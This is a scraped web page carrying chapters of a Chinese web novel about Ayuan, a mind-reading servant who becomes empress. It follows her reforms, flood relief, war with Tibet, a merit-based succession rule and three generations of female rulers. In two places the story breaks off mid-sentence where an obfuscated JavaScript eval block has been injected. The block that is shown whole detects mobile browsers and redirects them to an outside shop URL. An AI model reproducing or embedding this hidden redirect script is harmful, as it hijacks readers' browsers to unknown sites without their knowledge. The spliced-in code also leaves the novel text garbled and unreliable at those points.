阿沅听着众人的建言,亦听着他们心底的顾虑,缓缓道:“诸位所言,皆切中要害。朕意已决,分三步行事:其一,整肃朝纲,修订律法。即日起,废除前朝所有针对女子的苛规,同时新增《吏治考成法》,规定百官每年需进行考核,考核结果直接与升迁、俸禄挂钩,凡考核不合格者,轻则贬谪,重则罢官;另设钦天监与御史台联合巡查,凡发现官员贪腐、渎职、阳奉阴违者,无论官职高低,一律严查严办,由柳太傅全权督办此事。其二,休养生息,充盈国库。继续推行‘圣德新政’,减免灾区、战后各州府赋税三年,鼓励垦荒、兴修水利,由苏文尚书督办;同时开放海上贸易,在广州、泉州、明州设立市舶司,征收商税,严禁官员与商人勾结牟利,所得商税悉数充入国库;另裁汰宫中冗员,缩减宫廷开支,朕的后宫,永不纳妃,省去后宫用度,以充国用。其三,强军固边,恩威并施。令赵谦统领全国军队,裁汰老弱,训练精锐,改良兵器,在北方、西方、西南边境增筑城池、设立烽燧;派使者前往匈奴、吐蕃,晓以利害,许以通商之利,令其撤兵;对西南蛮族,按之前约定给予赏赐,同时设立西南宣慰司,派官员前往治理,约束蛮族行为,若再滋扰边境,必出兵清剿。” 旨意颁下,朝野震动。百官之中,有人拍手称快,赞女皇英明果决;有人却心生不满,尤其是那些守旧老臣,对废除针对女子的苛规、裁汰冗员、后宫不纳妃等决策颇有微词,太尉周秉更是直接上奏,称“后宫不纳妃,皇嗣无望,国本动摇”,请求阿沅“以江山社稷为重,广纳后宫,择宗室子弟为嗣,以安民心”。 阿沅看着周秉的奏折,耳边响起他的心声:【女帝终究是女子,不顾国本传承,如此行事,必遭天谴。我乃三朝老臣,受先帝厚恩,当以死谏,让她回心转意,保住大楚的血脉传承。】 阿沅并未动怒,而是召周秉入宫,在御书房单独相见。她屏退左右,对着周秉道:“周太尉,你乃三朝老臣,心系大楚,朕心知肚明。可你所言‘皇嗣无望,国本动摇’,朕却不敢苟同。其一,朕虽为女子,却手握天下,大楚的江山,并非靠帝王一人的血脉传承,而是靠民心、靠吏治、靠强军,只要朕能让百姓安居乐业,让朝局清明,让边境安稳,大楚的江山便固若金汤,何谈国本动摇?其二,朕虽不纳后宫,却可择宗室贤能子弟养于宫中,悉心教导,待其长成,择贤立储,承继大统,并非一定要朕亲生子嗣不可。其三,前朝历代,多少帝王广纳后宫,沉迷酒色,以致朝纲混乱,民不聊生?朕罢后宫,正是为了专心治国,为了让百官知晓,朕登基为帝,并非为了一己之私,而是为了大楚的江山社稷,为了天下的黎民百姓。” 阿沅的话,字字珠玑,句句切中要害,周秉愣在原地,心底的执念渐渐松动:【陛下所言,竟句句在理。我只想着血脉传承,却忘了,江山社稷的根本,是民心。陛下专心治国,为百姓谋福祉,比那些沉迷后宫的帝王,强上百倍。或许,我真的是囿于成见,错看了陛下。】 见周秉神色动容,阿沅又道:“周太尉,朕知你守旧,却也知你忠心。朕希望你能放下成见,看清现实,朕虽为女子,却能为大楚开创盛世,比那些庸碌的男帝,更能守护大楚的江山。若你能尽心辅佐朕,朕必不负你,若你仍执意恃旧妄为,朕也只能按律行事,绝不姑息。” 周秉看着阿沅坚定的眼神,听着她心底的坦荡,终于躬身行礼,声音带着几分愧疚:“老臣愚昧,囿于成见,错解陛下心意,还望陛下恕罪。老臣愿放下成见,尽心辅佐陛下,为大楚的江山社稷,鞠躬尽瘁,死而后已。” 收服周秉后,朝中的守旧老臣群龙无首,虽仍有疑虑,却也不敢再轻易发难。柳太傅趁机推行《吏治考成法》,对百官进行全面考核,首批便贬谪了二十余名考核不合格、阳奉阴违的官员,其中不乏三品以上的大员,又提拔了三十余名年轻有为、尽心办事的寒门官员,朝堂之上的风气为之一新,那些心存试探、抵触的大臣,也纷纷收敛心思,尽心办事。 可朝堂的问题刚有起色,地方的麻烦便接踵而至。黄河沿岸虽经修缮,可昭宁元年夏,天降暴雨,黄河水位暴涨,河南段大堤再次出现溃口,淹没良田万顷,数十万百姓流离失所,沦为流民。消息传回洛阳,阿沅即刻召开朝会,商议治水赈灾之事。苏文尚书面露难色:“陛下,如今国库空虚,黄河治水需银百万两,赈灾需银五十万两,臣实在拿不出这么多银两。而且,河南段大堤溃口,不仅需要银两,还需要有治水经验的官员主持大局,徐清侍郎虽有治水之才,却远在江南督办漕运,远水解不了近渴。” 百官闻言,皆面露难色,心底满是焦虑:【国库空虚,治水赈灾无银,这可如何是好?若是流民作乱,必生民变,新朝初立,可经不起这样的折腾。】 【黄河水患,由来已久,年年治水,年年溃口,怕是难以根治,若是执意治水,只会掏空国库,得不偿失。】 阿沅听着百官的心声,沉声道:“黄河水患,关乎数百万百姓的性命,关乎河南各州府的安稳,纵使国库空虚,也必须治水赈灾,绝无退路。银两之事,朕来想办法,朕将长公主府的所有私产悉数变卖,同时下令,宫中所有金银珠宝,除祭祀、朝会所需外,悉数熔铸为银,充作治水赈灾之费;另向洛阳城内的富商、士族募捐,凡募捐银两千两以上者,赐匾额一块,募捐万两以上者,授九品散官,子孙可免试入国子监读书。治水官员之事,令徐清侍郎星夜兼程赶回河南,主持治水大局,另派禁军五千,前往河南,协助治水、安抚流民,由朕亲自督办此事。” 此言一出,百官皆惊,心底满是敬佩:【陛下竟愿变卖私产、熔铸宫中珍宝,只为治水赈灾,此等心系百姓的胸襟,千古无二!】 【陛下亲自督办治水赈灾,可见其决心,我等身为臣子,更当尽心竭力,辅佐陛下。】 阿沅说到做到,即刻下令变卖长公主府私产,熔铸宫中珍宝,短短三日,便筹得银两一百二十万两。洛阳城内的富商、士族见女皇如此心系百姓,也纷纷慷慨解囊,募捐银两八十万两,治水赈灾的银两终于凑齐。徐清侍郎星夜兼程赶回河南,在禁军的协助下,开仓放粮,安抚流民,同时组织百姓抢修大堤。阿沅则亲自前往河南,坐镇开封,督办治水事宜。 开封城内,水患肆虐,街道被淹,百姓流离失所,哀嚎遍野。阿沅不顾众人劝阻,脱下龙袍,换上粗布衣衫,亲自前往大堤查看灾情,与百姓、士兵一同搬石、填土、修堤。她的脚被碎石磨破,手上磨出了血泡,却依旧不肯停歇,身边的侍卫劝她休息,她却道:“百姓身处水深火热之中,士兵们日夜抢修大堤,朕身为帝王,岂能置身事外?唯有与百姓、士兵同甘共苦,方能众志成城,战胜水患。” 百姓们见女皇亲自上阵,与他们一同修堤,皆深受感动,原本慌乱的心渐渐安定下来,纷纷自发加入修堤的队伍,就连那些原本心存怨怼的流民,也主动拿起工具,参与治水。【女皇陛下身为九五之尊,竟不顾安危,与我们一同修堤,这是真正的明君啊!】 【跟着这样的帝王,就算吃再多苦,我们也心甘情愿,定要齐心协力,修好大堤,战胜水患!】 阿沅凭借着听心的异能,倾听着治水工匠、百姓的心声,及时调整修堤方案,避开了大堤的薄弱之处,采用“石笼填淤、夯土固堤”的方法,大大提高了修堤的效率。她还听到了一些官员想要克扣赈灾粮款的心思,即刻下令监察院前往巡查,将两名克扣粮款的县令就地正法,抄没家产,赈济百姓,其余官员见状,皆不敢再有丝毫贪念,尽心办事。 历经一个月的日夜奋战,黄河大堤终于抢修完毕,溃口被堵住,水位渐渐回落,水患得以平息。阿沅又下令在河南各州府设立流民安置点,发放种子、农具,鼓励流民回归故土,开垦荒地,同时减免河南各州府赋税五年,百姓们纷纷感恩戴德,跪在地上,高呼“女皇陛下万岁万岁万万岁”,这份呼声,比登基大典时更加真挚、更加热烈。 黄河水患刚平,边境的麻烦又起。西方吐蕃见阿沅亲赴河南治水,洛阳城内兵力空虚,便撕毁与大楚的通商约定,率领十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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【我军粮草屯于后方湟水谷,此处地势险要,大楚军队定然找不到,只要粮草充足,我军便可与大楚军队长久对峙,拖垮他们。】 阿沅得知吐蕃的粮草屯于湟水谷,即刻修书一封,令快马送与赵谦,令他率领铁骑,星夜赶赴湟水谷,烧毁吐蕃粮草,同时令兰州守将坚守城池,佯装防守空虚,诱使吐蕃大军强攻,消耗其兵力。 赵谦接到密信后,即刻率领两万铁骑,绕路西进,星夜赶赴湟水谷。湟水谷地势险要,吐蕃守军以为大楚军队找不到此处,防守松懈,赵谦率领铁骑趁夜突袭,一举攻破吐蕃军营,烧毁粮草百万石,吐蕃守军死伤殆尽。 吐蕃赞普得知粮草被烧,军心大乱,心底满是惊慌:【怎么会这样?大楚军队怎么会找到湟水谷?粮草没了,大军无以为继,这可如何是好?】他气急败坏,下令强攻兰州,想要尽快攻破城池,掠夺粮草,却不料兰州守将早有准备,设下伏兵,吐蕃大军强攻三日,死伤惨重,却始终无法攻破兰州城。 就在吐蕃大军进退两难之际,阿沅率领五万禁军赶到兰州,与兰州守将合兵一处,共计八万大军,列阵于兰州城外,与吐蕃大军对峙。阿沅身着银甲,手持长枪,立于阵前,虽为女子,却身姿挺拔,目光如炬,自带一股慑人的威严。吐蕃赞普见阿沅亲自上阵,心底满是不屑:【一介女子,也敢领兵打仗,今日定要将你生擒,让你成为我的阶下囚。】 阿沅看着吐蕃大军,高声道:“吐蕃赞普,你撕毁约定,犯我疆土,杀我百姓,今日朕便替天行道,率大军讨贼,尔等若束手就擒,朕可饶尔等性命,若执意顽抗,朕定将尔等斩尽杀绝,踏平吐蕃!” 吐蕃赞普大怒,下令吐蕃大军进攻,阿沅沉着指挥,令禁军以弩箭射住阵脚,以步兵结阵抵御,以骑兵从两翼包抄。吐蕃大军因粮草被烧,军心涣散,又不熟悉大楚军队的战术,很快便陷入被动,死伤无数。激战半日,吐蕃大军大败,吐蕃赞普被赵谦生擒,其余部众悉数投降。 阿沅率领大军,乘胜追击,收复了临洮、狄道两城,直逼吐蕃边境。吐蕃贵族见赞普被擒,大军大败,纷纷派使者前来求和,愿向大楚俯首称臣,年年进贡,永不侵犯。阿沅见吐蕃已有悔意,便答应了求和,释放了吐蕃赞普,令其归还侵占的大楚土地,送吐蕃王子入洛阳为质,同时开放边境通商,与吐蕃互通有无。 平定吐蕃之乱后,阿沅率领大军班师回朝,洛阳城内,百姓夹道相迎,百官出城十里迎接,山呼万岁。经此一役,阿沅的威望达到了顶峰,朝野上下,再也没有人敢质疑她的能力,再也没有人敢因她是女子而心存芥蒂。匈奴、西南蛮族见吐蕃大败,大楚军威赫赫,皆心惊胆战,纷纷遣使前来洛阳,朝贡称臣,发誓永不侵犯大楚,大楚的边境,终于迎来了真正的安稳。 昭宁元年冬,阿沅班师回朝后,即刻着手整顿朝局、休养生息、强军固边,推行的各项政策皆顺利实施,没有丝毫阻碍。朝堂之上,吏治清明,百官尽心办事;地方之中,百姓安居乐业,垦荒兴农,商贸繁荣;边境之上,军威赫赫,异族臣服,烽燧无警;国库之中,因海上贸易、商税增加,渐渐充盈,大楚终于走出了连年战乱的阴霾,迎来了真正的盛世。 阿沅坐在太和殿的龙椅上,看着阶下俯首的百官,听着他们心底的敬佩与信服,看着窗外万里无云的天空,心底满是欣慰。她知道,自己登基后的第一年,虽历经千难万险,却终究闯了过来,大楚的盛世,已然开启。可她也知道,这只是一个开始,未来的道路,依旧漫长,她需要做的,还有很多,她要为大楚奠定百年基业,要让女子临朝不再是异数,要让大楚的江山,永远稳固,永远繁荣。 24. 立储定规,垂拱而治,女皇盛世传三代 昭宁五年,大楚迎来了登基后的第一个五年之庆,此时的大楚,已是四海升平,国泰民安。朝堂之上,吏治清明,人才辈出,柳太傅、赵谦、苏文等老臣尽心辅佐,一批年轻有为的寒门官员崭露头角,成为朝堂的中坚力量;地方之中,垦荒遍地,水利兴修,粮食连年丰收,百姓安居乐业,路不拾遗,夜不闭户;边境之上,异族臣服,通商频繁,烽燧无警,百姓安居乐业;国库之中,府库充盈,金银珠宝堆积如山,海上贸易远至南洋、西域,大楚的威名,传遍四海。 阿沅此时已是二十有九,五年的帝王生涯,让她褪去了昔日的青涩,愈发沉稳、睿智,眉宇间的威严更甚,却也多了几分疲惫。她依旧保持着登基时的习惯,每日天不亮便起床,批阅奏折,接见大臣,处理朝政,常常忙至深夜,从未有过丝毫懈怠。柳太傅、赵谦等老臣见她日夜操劳,皆劝她保重身体,同时也开始忧心立储之事——昭宁帝登基五年,虽择宗室子弟养于宫中,却始终未立储君,百官心底,皆有疑虑。 这日,柳太傅联合太尉周秉、御史大夫秦松、禁军统领赵谦、户部尚书苏文等文武大臣,联名上奏,请阿沅立储:“陛下登基五年,四海升平,国泰民安,然储君未立,国本未定,百官忧心,百姓挂念。如今陛下养于宫中的宗室子弟已有五人,皆聪慧伶俐,可择贤立储,以安民心,以固国本。” 阿沅看着百官的奏折,耳边响起他们的心声,皆是真心实意为大楚的江山社稷着想,并无半分私心。她放下奏折,召百官入御书房议事,道:“诸位卿家,关于立储之事,朕并非没有考虑,只是朕心中,有一想法,与前朝历代不同,今日召诸位前来,便是要与诸位商议,定立储之规,为大楚奠定百年基业。” 百官皆面露疑惑,柳太傅道:“陛下请讲,臣等洗耳恭听。” 阿沅缓缓道:“前朝历代,立储皆以血缘为尊,立嫡立长,可纵观前朝,多少帝王因立嫡立长,以致庸碌之辈登上帝位,朝纲混乱,民不聊生?多少皇子为争储位,手足相残,血流成河?朕以为,立储当以贤能为尊,而非血缘、嫡长。朕虽为女子,却开创大楚盛世,可见女子并非不如男子。因此,朕定立储之规三条:其一,储君之选,不问血缘、不问嫡庶、不问男女,凡宗室子弟,无论男女,只要贤能有德、心系百姓、有治国之才,皆可参选;其二,设立储宫,名为‘明德宫’,凡参选储君者,皆入明德宫学习,由朕亲自教导,同时由百官共同考核,每年考核一次,连续三年考核第一者,立为储君;其三,储君确立后,若有失德、无能、残害百姓之举,百官可联名上奏,废黜储君,重新选拔,永绝庸君、暴君之患。” 此言一出,御书房内瞬间陷入死寂,百官皆面露震惊,心底满是不敢置信:【陛下竟要立储不问男女,女子亦可参选储君?这真是前所未闻!】 【立储以贤能为尊,不问血缘、嫡庶、男女,此规若立,可保大楚代代有明君,实乃千古良策!】 【女子亦可参选储君,这打破了‘女子不能登帝位’的桎梏,若真有贤能的女子登上帝位,必能延续大楚的盛世!】 太尉周秉率先反应过来,躬身行礼,声音带着激动:“陛下圣明!此立储之规,千古未有,却字字珠玑,句句切中要害。立储以贤能为尊,可保大楚代代有明君;女子亦可参选,可让宗室子弟皆有机会,不再囿于男女之别。老臣愿全力支持陛下,立此储规!” 柳太傅、赵谦等大臣也纷纷躬身附和:“臣等愿全力支持陛下,立此储规!” 阿沅见百官皆支持,面露欣慰,道:“既然诸位卿家皆无异议,那便颁行天下,立此储规,永为大楚定制。即日起,择宗室子弟十五人,男女各半,入明德宫学习,朕亲自教导,百官共同考核,择贤立储。” 储规颁行天下后,朝野震动,百姓哗然,却皆是拍手称快。百姓们纷纷赞女皇英明,称此储规为“千古良策”,宗室子弟中,那些有才德的女子,更是欢欣鼓舞,纷纷报名参选,想要凭借自己的能力,争夺储君之位,登上帝位。 阿沅亲自担任明德宫的主师,教导宗室子弟读书、写字、治国、用兵、民生之术,她摒弃了前朝重文轻武、重男轻女的教育理念,主张文武兼修、男女平等,对所有宗室子弟一视同仁,严加教导。她还令柳太傅、赵谦、苏文等大臣轮流前往明德宫授课,将自己的毕生所学,倾囊相授。 宗室子弟们深知机会难得,皆发奋读书,刻苦学习,明德宫内,学风浓厚,你追我赶,蔚然成风。阿沅则凭借着听心的异能,观察着每个宗室子弟的心思,分辨他们的贤能与德操,同时结合百官的考核,对他们进行综合评定。 五年时间,转瞬即逝,昭宁十年,阿沅已是三十有四,历经十年的帝王生涯,她的身体日渐疲惫,却依旧精神矍铄。明德宫的十五名宗室子弟,历经五年的学习、考核,终于决出了胜负——宗室女苏凌,以连续三年考核第一的成绩,脱颖而出,成为储君。 苏凌乃太宗皇帝的曾孙女,其父乃闲散宗室,母为普通民女,她自幼聪慧伶俐,勤奋好学,心怀百姓,在明德宫的五年里,她刻苦学习,不仅精通经史子集、治国之术,还习得一身好武艺,深谙用兵之道,更难能可贵的是,她心地善良,体恤百姓,常常深入民间,了解百姓的疾苦,提出了许多利国利民的建议,深得百官与百姓的喜爱。 阿沅下旨,立苏凌为储君,册封为“□□公主”,入住东宫,协助自己处理朝政。苏凌天资聪颖,又得阿沅悉心教导,处理朝政的能力日渐提升,很快便能独当一面,成为阿沅的得力助手。阿沅渐渐开始放权,让苏凌主持日常朝政,自己则退居幕后,加以指点,朝堂之上,渐渐适应了储君主政的局面。 昭宁二十年,阿沅已是四十有四,二十年的帝王生涯,让她为大楚奠定了坚实的基业,开创了空前的盛世,大楚的疆域,比前朝扩大了数倍,百姓安居乐业,四海臣服,万国来朝。此时的阿沅,身体已大不如前,常年的操劳,让她积劳成疾,却依旧心系大楚的江山社稷。她见苏凌已能独当一面,深得百官与百姓的拥戴,便下旨,禅位于储君苏凌,自己则退居上阳宫,颐养天年,成为大楚的第一位太上女皇。 禅让大典那日,洛阳城再次万人空巷,百姓夹道相迎,苏凌身着龙袍,登基为帝,改元“景和”,成为大楚的第二位女帝。景和帝苏凌登基后,谨遵昭宁帝的教诲,推行仁政,继续推行昭宁帝的各项政策,同时革除前朝些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228632|197582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许弊政,重视农桑、商贸、强军、育才,大楚的盛世,得以延续。 景和帝在位二十五年,将大楚的盛世推向了顶峰,大楚的经济、文化、军事皆达到了前所未有的高度,海上贸易远至欧洲、非洲,大楚的丝绸、瓷器、茶叶远销四海,万国来朝,大楚的威名,传遍天下。景和二十五年,景和帝苏凌年近六十,效仿昭宁帝,立贤能的宗室女苏玥为储君,禅位于她,自己退居上阳宫,与昭宁帝为伴。 苏玥登基为帝,改元“永熙”,成为大楚的第三位女帝。永熙帝苏玥自幼受昭宁帝、景和帝的熏陶,聪慧贤能,心系百姓,登基后,继续延续前两位女帝的治国理念,同时重视科技、教育,设立太学,鼓励发明创造,改良农具、兵器,大楚的国力,愈发强盛。永熙帝在位三十年,大楚四海升平,国泰民安,百姓安居乐业,成为真正的天朝上国。 永熙三十年,永熙帝苏玥禅位于贤能的宗室子弟苏宸,结束了大楚三代女帝的统治。此时的大楚,已历经七十余年的盛世,各项制度完善,吏治清明,百姓富足,军威赫赫,四海臣服,三代女帝为大楚奠定的百年基业,已然根深蒂固,纵使后续帝王为男子,也始终遵循着昭宁帝定下的立储之规,立贤不立亲,立能不立长,女子亦可参选储君,大楚的盛世,延续了两百余年,成为华夏历史上最辉煌的时代。 上阳宫内,昭宁帝阿沅虽已年逾九旬,却依旧精神矍铄,她坐在窗前,看着窗外的繁花似锦,听着宫外百姓的欢声笑语,耳边仿佛响起了尚书府浣衣局的皂角水声,想起了皇宫浣衣局的蛰伏,想起了临朝称制的艰难,想起了登基后的千难万险,想起了三代女帝的携手并肩,开创了一个空前绝后的女皇盛世。 她的手中,依旧攥着母亲留给她的那支银簪,这支银簪,陪伴着她从一个尚书府的底层浣衣丫鬟,一步步登上帝王之位,陪伴着她开创了大楚的盛世,陪伴着她见证了三代女帝的辉煌。银簪的纹路,早已被她摩挲得光滑,就像她的人生,历经了无数的坎坷与磨难,最终变得温润而璀璨。 窗外,阳光正好,洒在阿沅的身上,镀上了一层金色的光晕。她轻轻闭上眼,嘴角扬起一抹淡淡的笑意。她的一生,从听心的丫鬟,到一代女皇,从谨小慎微的求生,到开创盛世的传奇,她打破了千百年的桎梏,证明了女子亦可登帝位,亦可安邦定国,亦可开创盛世。她的名字,阿沅,将被载入史册,千古流芳;她所创立的女皇盛世,将成为华夏历史上最耀眼的光芒,永远被后世所敬仰、所传颂。 大楚的三代女帝,以昭宁帝阿沅为始,景和帝苏凌、永熙帝苏玥相继延续,她们以女子之身,君临天下,以贤能之才,安邦定国,以百姓之心,治理天下,开创了一个空前绝后的盛世,为大楚奠定了百年基业,也为后世女子树立了榜样,打破了“男尊女卑”的桎梏,让女子的才华与能力,得以绽放光芒。 而那支陪伴着阿沅一生的银簪,最终被珍藏在大楚的太庙之中,成为大楚的传国之宝,见证着大楚的盛世辉煌,也见证着一个女子从尘埃中崛起,登上权力的顶峰,开创一个时代的传奇。华夏大地,因这三代女帝,迎来了最辉煌的时刻,大楚的名字,也因这三代女帝,响彻四海,永载史册。